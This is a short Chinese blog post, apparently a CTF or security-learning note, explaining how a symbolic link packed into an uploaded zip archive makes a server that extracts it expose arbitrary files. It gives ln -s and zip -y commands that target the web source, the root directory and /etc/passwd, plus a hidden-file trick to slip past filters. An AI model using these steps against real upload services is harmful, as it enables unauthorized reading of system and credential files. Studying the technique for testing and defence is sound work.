软链接读取

已知服务器可以上传一个压缩包并且解压,网站后台会解压读取该软链接指向的服务器上的文件,就能达到读取任意文件的效果

(1)ln -s /home/task/index.php test 创建一个软链接

zip -y 1.zip test -y来指定打包压缩一个软链接文件,再去上传压缩包,就可以读取源码了(有时因为权限问题不能读取)

(2)读取根目录

ln -s / doll

zip -y 1.zip doll

如果存在过滤,可以尝试把doll换成.doll(隐藏文件)

ln -s / .doll

zip -y 1.zip .doll

实际操作:

(1)先准备好passwd.zip压缩文件
ln -s /etc/passwd passwd 
zip -y passwd.zip passwd
(2)上传压缩文件

posted @ 2026-06-18 13:06  Doll_Marker  阅读(11)  评论(0)    收藏  举报